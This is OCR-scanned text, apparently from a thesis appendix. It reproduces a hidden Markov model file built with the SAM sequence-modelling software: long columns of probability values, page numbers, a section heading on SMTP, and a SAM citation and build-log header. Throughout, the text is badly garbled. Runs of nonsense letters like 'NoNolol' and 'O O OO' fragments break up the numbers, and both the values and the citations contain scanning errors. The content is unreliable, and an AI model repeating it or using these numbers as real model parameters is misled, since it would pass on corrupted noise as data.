.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000046
.000029
.000001
.000000
.000010
.000001
.000004
.000006
.000003

ocNeoNoRolBoNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNolNolNolololNe

leoNeoNoNoNolRolNolNelNo)

.000038
.000140
.000002
.000000
.000000
.000005
.000001
.000000
.000005
.000000
.000002
.000001
.000010
.000015
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000019
.000043
.000001
.000000
.000000
.000003
.000001
.000000
.000002
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cNoNeoBoNoNoloololololNoBoNolBoNolBolNololNoBololoNeololNololololNolNo)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000002
.000010
.000004
.000011
.000000
.000057
.002346
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

53

.475888
.463906
.059418
.997527
.000041
.000198
.000008
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000059
.000002
.000015
.000000
.000000

ecNoNeoBoNeoNolNoolololololoNolBolNolBolNoloNolololoNololNololololNoeolNe)

[eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.016082
.861903
.148327
.001294
.000043
.000127
.000017
.000005
.000011
.000007
.000004
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000

cNoNeoBoNoNolNoololooNoBoNololNolBolNoloNoBololoNeolNolNololololNolNe)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000003
.000009
.000000
.000005
.000001
.000014
.985891
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.037780
.505946
.454803
.000010
.000043
.000001
.000000
.000003
.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015
.000299
.000000
.000000
.000000

cNoNeoBoNoNoloolohoololBoNolBolNolBolNololNolololoNeololNololololNolNo)

cloNoNoNoNoNoNololololNolNolNololNeololNoeolNo)

.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000030
.000001
.000000
.000011
.000001
.000004
.000006
.000003
.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000

cNoNeoBoNoNoloololoololoNolBolNolBolNoloNolololoNololNololololNolNe)

ecloNoNoNoNoNoNolNolololNolNolNololNololNolNo)

.000000
.000001
.000000
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000020
.000044
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000

204



ecNeoNoholBololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNoloNoNoNoNoNoBohololNoNoNoNoNolololNolNololNolNoNolNolNolNo]

.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

54

.422987
.517595
.063681
.997029
.000042
.000200
.000008
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000059
.000002
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoNoNoBololoNoNoNoNoNolololNolNoloNolNoNolNolNolNe]

.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.018860
.832813
.194261
.000010
.000043
.000132
.000017
.000005
.000011
.000007
.000004
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002

cNeoNolololNoloNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNoloNoNoNoNoNolololoNoNoNoNoNolololololoNolNolNolNolNolNe]

.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.036001
.509196
.455500
.000010
.000043
.000001
.000000
.000003
.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015
.002066
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004

ecNeoNololololoNoNoNoNoNoNololNolNololNolNolNolNo]

oNoNoNoloRolNoNoNoNoNoNoholoRolNoNoNolNoNololololNolNolNolNolNolNo]

.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000031
.000001
.000000
.000011
.000001
.000004
.000006
.000003
.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003

cNeoNoholololoNoNoNoNoNoNolololNololNolNolNolNo]

oNoNoNoloRolNoNoNoNoNoloholBololNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000020
.000045
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
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O O OO OO OO ooOo

eoNoNoNoNoNoNolohololNoloNoolNololNolNoloNoNoNoNoloBolNoNoNoolNololNoloNolNolNolNololeololNeo]

.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

55

.380638
.555682
.067432
.998947
.000042
.000201
.000008
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000060
.000001
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000

O O OO OO OO ooOo

[eoNeoNoNoNoNoNolololBolNololNoolNololNolNoloNolNoNoNoNoNolNoNoNoolNeololNolNoNolNolNolNololeololNeo]

.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.020699
.785040
.194206
.000010
.000043
.000166
.000017
.000005
.000011
.000007
.000004
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000

O O OO OO OO ooOo

[eoNeoNoNoNoNoNolololBolNololNoolNololNolNoloNolNoNolNolNoBoNoNoNoolNololNoloNolNolNolNolNoleololNeo]

.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.032512
.511988
.455043
.000010
.000044
.000001
.000000
.000003
.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015
.000110
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000

O O OO OO OO ooOo

[eNoNeoNoBoNoNoNololoBoNolBolNoBoNololNololNoloNoNoNolNoNoNolBoNoloNololNololololNolNolNe]

.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000031
.000001
.000000
.000011
.000001
.000005
.000006
.000003
.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000

O O OO OO OO ooOo

[eNoNoNoNoNoNeoNololoBoNololNoBoNololNololNoloNoNoNolNoNoNolBoNololNololNololololNolNolNe]

.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000020
.000045
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000

206



(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNololololelNolNo)

OO OO OO oo

.000000

56

.367954
.564614
.068665
.998978
.000042
.000201
.000008
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000060
.000001
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

57

.368439
.562896
.070018
.991749
.000042
.000201
.000008
.000003

(@)

[eNeoNoNoloBoloNoNoNoNoNoRolololNoNoNoNoNolololoNoNoNoNoloholololoNoNoNoNolNolololololNolNo)

OO OO OO oo

.000000

.021517
.784277
.166034
.000007
.000043
.000167
.000017
.000005
.000011
.000007
.000004
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.021434
.812532
.121616
.000006
.000043
.007385
.000017
.000005

(@)

[eNeoNoNoloBoloNoNoNoNoNoRololoNoNoNoNoNolololNoNoNoNoNoloholololoNoNoNoNoNololololNolNolNo)

OO OO OO oo

.000000

.031850
.513107
.453524
.000010
.000044
.000001
.000000
.000004
.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015
.000078
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.028906
.517569
.456271
.000010
.000044
.000003
.000000
.000005

lcNoNoNoloBolNoNoNoNoNolNoBololoNoNoNoNoNolNolololNoNoNoNolNoNololololNoNoNoNolNololole)

[oNeoNeNoNe]

.000000

.000014
.000031
.000001
.000000
.000011
.000001
.000005
.000006
.000003
.000002
.000001
.000005
.000001
.000003
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000031
.000001
.000000
.000011

lcNoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNolNolololNoNoNoNolNoNololololNoNoNoNoNolololNe

[oNeoNeNoNe]

.000000

.000020
.000045
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000020
.000045
.000001
.000000
.000000

207



oNeoNoNoNoNoNoNoNoRoNoholNoNoNolNoNoNoloNoloNoloNoholNoholoNoNolNololNolNolNo)

[eoNoNoNoNoNoNolohoNolNololNololololNe]

.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000060
.000001
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

58

.356570
.573412
.076374
.983271
.000041
.000197
.000008
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000012
.000000
.000058

oNeoNoNoNoNoNoNoNoRoNoholoNoNolNoNoNoloNoloNoloNoholoholoNolNolNololNolNolNo)

[eoNoNoNoNoNoNoloholNolNololNololelolNe]

.000011
.000007
.000004
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.009708
.868676
.035671
.000005
.000043
.013086
.000017
.000005
.000011
.000006
.000004
.000002
.000000
.000003
.000006
.000011
.000016
.000000

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNololNoholoNoNoNololNolNolNo)

[eNoNoNoNoNoNoNololoNolNololNololelolNe]

.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015
.000069
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.023274
.520455
.470398
.000010
.000043
.002396
.000000
.000014
.000001
.000001
.000000
.000003
.000003
.000010
.000000
.000005
.000001
.000015

oNeoNoNoNoNoNoNoNoRoNoholNoNoNoNoNoNoloNoloNoloNololoholoNoNolNololNolNolNo)

cloNoNoNoNoNoNolNolololololNolNo]

.000001
.000005
.000006
.000003
.000002
.000001
.000005
.000001
.000022
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000030
.000001
.000000
.000011
.000001
.000004
.000006
.000003
.000002
.000001
.000005
.000001
.000414
.000001

cNeoNoNoNoNoNoNoNoRoNohoNoNoNoNoNoNoloNoloNoloNoholNoholoNoNoNololNolNolNo)

cloNoNoNoNoNoNololololololNolNo]

.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000020
.000044
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000008
.000000

208



cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000001
.000014
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

59

.321306
.602320
.058411
.010964
.000040
.000193
.000007
.000003
.000005
.000001
.000006
.000006
.000002
.000010
.000004
.000011
.000000
.000057
.000001
.000014
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolNo]

[eNeoNoNeoloRololNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.002483
.961846
.054639
.000005
.000042
.917757
.000016
.000005
.000011
.000006
.000004
.000002
.000000
.000030
.000006
.000011
.000016
.000000
.000011
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006

clolNoNoNoNoNoNoNolololoNoNoNoNoNolololNolNoNolNolNolNo]

[eNeoNoNeoloRolNolNoNoNoNolNoNolololNoNoNoNoNolololololNolNolNolNo]

.000066
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.025772
.503831
.524025
.000010
.000042
.002342
.000000
.066331
.000001
.000001
.000000
.000003
.000003
.000009
.000000
.000005
.000001
.000014
.000065
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNoloNolNolNolo]

eNeoNoNoloRololNoNoNoNoNoNolololoNoNoNoNolNolNolololNe]

.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000014
.000029
.000001
.000000
.000010
.000001
.000004
.000006
.000003
.000002
.000001
.000005
.000001
.001765
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011

cholNoNoNoNoNoNoNolololoNoNoNoNoNolololNolNoNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNoNolNolololNe]

.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000019
.000043
.000001
.000000
.000000
.000003
.000001
.000000
.000002
.000000
.000001
.000000
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000

209



oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololoNoloNoBoNololNololNoNoNoNoNolNolNolNoloNoBoNololNololNololNolNo)

.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

60

.469739
.471850
.056698
.935489
.000046
.000218
.000008
.000003
.000005
.000001
.000007
.000007
.000002
.000011
.000004
.000013
.000000
.000065
.000001
.000016
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNolololBoNololNoBoNololNololNolNoNoNoNolNolNololoNoBoNololNololNololNeolNo)

.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.020949
.924412
.110602
.000006
.000047
.063600
.000018
.000006
.000012
.000007
.000005
.000002
.000000
.000002
.000007
.000012
.000018
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000

oleoNoNoNoNoNololNololololNelNolNe]

[eoNoNoNoNoNoNololoBoNololNoBoNololNoolNoNoNoNoNoNoNolNoloNoBoNololNololNololNolNo)

.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.034881
.441094
.675801
.000011
.000047
.000002
.000000
.000004
.000001
.000001
.000000
.000003
.000004
.000011
.000000
.000005
.000001
.000016
.000073
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015

oleoNoNoNoNoNololNololololNelNolNe]

eNoNoNoBoNoNoNololoBolNoloNoBoNolololNolNoNoloNolNolNololNololNololNololNolNolNo]

.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000016
.000033
.000001
.000000
.000012
.000001
.000005
.000006
.000003
.000002
.000001
.000005
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001

oleoNoNoNoNoNololNololololNelNolNe]

eNoNoNoNoNoNoNololoBololoNoBoNololNolNolNolNolNoNolNolololNololNololNeololNolNolNo]

.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000022
.000049
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000

210



[eNeoNoNoloRoloNoNoNoNolNoNolololoNoNoNoNoNololoNololoNoNoNoNoNolNoloNoNoNoNoNolNololololNe] O O O O o

o O O o

.000001
.000019
.000000
.000000
.000000

61

.459062
.484241
.063421
.954231
.000053
.000233
.000009
.000003
.000006
.000001
.000007
.000007
.000002
.000012
.000005
.000014
.000000
.000069
.000001
.000017
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

62

.312794
.623785
.056988
.011032

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNolNoloNololoNoNoNoNoNoNololoNoNoNoNolNololololNe] O O O O o

o O O o

.000000
.000000
.000000
.000000
.000000

.012751
.876647
.727237
.000006
.000050
.044794
.000020
.000006
.000013
.000008
.000005
.000002
.000000
.000002
.000007
.000013
.000019
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.002724
.270039
.005426
.000006

[eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNoNolNololNololoNoNoNoNoNolNololoNoNoNolNolNololololNe] O O O O o

o O O o

.000075
.000000
.000000
.000000
.000000

.011649
.312550
.909047
.000012
.000051
.000002
.000000
.000004
.000001
.000001
.000000
.000003
.000004
.000011
.000000
.000006
.000001
.000017
.000078
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.000467
.090486
.491768
.000012

O O O oo

locNeoNoNoBoBolNolNoNoNoNoNoNolololNoNoNoNoNoNololololNoNoNoNoNolololNolNoNoNolNolNolNoll o]

.000000
.000001
.000000
.000000
.000000

.000017
.000036
.000001
.000000
.000013
.000001
.000005
.000007
.000003
.000002
.000001
.000006
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000017

.000000
.000000
.000000
.000000
.000000

O O O oo

.000023
.000052
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000006
.000009
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

lcNeoNoNoloBoloNoNoNoNoNoNolololNoNoNoNoNoNolololNolNoNoNoNoNololololNoNoNolNolNolNol ol o]

0.000024
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.000132
.000238
.000009
.000003
.000006
.000001
.000007
.000008
.000003
.000012
.000005
.000014
.000000
.000071
.000001
.000017
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000
nd

.000000
.483655
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNoNeoNoNoNoNoNoNoNeoNeoNoNoNuNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNoNoNeoNoNoNoNoNoNoNoNoNoNoNoNolNoNoNoNoNoNoNeNeNe)

oNeoNoNoNoNoNoRoNoBoNoloNolololNolNoNoNoNoNoNoloNoBoNololNolololNolNoNolNolNolNeolNoNolNo)

O O OO OO0 ODOOOoOOo oo

.000051
.987893
.000020
.000006
.000013
.000008
.000005
.000002
.000000
.000002
.000008
.000013
.000019
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.677957
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoRoNoBolNoBoNololNoNolNolNoNoNoNoNoloNoBoNololNolololNolNoNolNolNolNeolNoNolNo)

[eoNoNoNoNoNoNololololNeololNe]

.000052
.000002
.000000
.000004
.000001
.000001
.000000
.000003
.000004
.000012
.000000
.000006
.000001
.000018
.000080
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.000000
.046214
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoRoNoBoNoloNololNolNoNoNoloNoNoNoloNoBoNololNolololNolNoNolNolNolNeolNolNolNo)

O O O OO0 OOoOo oo

.000036
.000001
.000000
.000013
.000001
.000005
.000007
.000003
.000003
.000001
.000006
.000001
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoRoNoBoNoloNololNoNolNolNolNoNoNoNoloNoBoNoolNolololNolNoNolNolNolNeolNoNolNo)

O O O OO0 OOoo oo

.000053
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000006
.000009
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
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0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000
ENDMODEL

7.4.4. SMTP

o°

SAM: buildmodel v3.5 (July 15, 2005) compiled 07/15/05 11:25:30
(c) 1992-2001 Regents of the University of California, Santa Cruz

o° oo

o\

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

o° o

o°

————————————————— Citations (SAM, SAM-T2K, HMMs) —-———————————————————
R. Hughey, A. Krogh, Hidden Markov models for sequence analysis:
Extension and analysis of the basic method, CABIOS 12:95-107, 1996.
K. Karplus, et al., What is the value added by human intervention in protein
structure prediction, Proteins: Stucture, Function, Genetics 45(S5):86--91,
001.
A. Krogh et al., Hidden Markov models in computational biology:
Applications to protein modeling, JMB 235:1501-1531, Feb 1994.
SMTP Host: ubuntu Sat Sep 26 13:17:21 2009
edsheut Dir: /home/edsheut/Escritorio/Muestras 1000

o° o° o° o°

oo N

o° o o o oe

oe

Internal sequence weighting method 1
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A0 00 0 0 A O OO A A A A AN A A A A A A AN AN AN A AN A A A A AN AN A AN AN A A A AN AN A AN AN A A A A AN AN A AN O O A° A o°

oe

Regularizer FIM method train training letter frequencies
Regularizer Insert method train training letter frequencies (1)
Model initial FIM method train training letter frequencies
Model initial insert method train training letter frequencies (1)
and FIM tables dynamically reset to

train reset inserts geometric mean of match probabilities (6)
All models generated from regularizer.
Subsequence-submodel

Generic,

Track 0 FIMs added

Insert,

Model lengths:

Itera-
tion

O ~J o Ul WDN

BwWWwWwWwwwwwwwbdhdhdhddddDdNDNDNDNDNDNRERRPRPRRRERERRERE
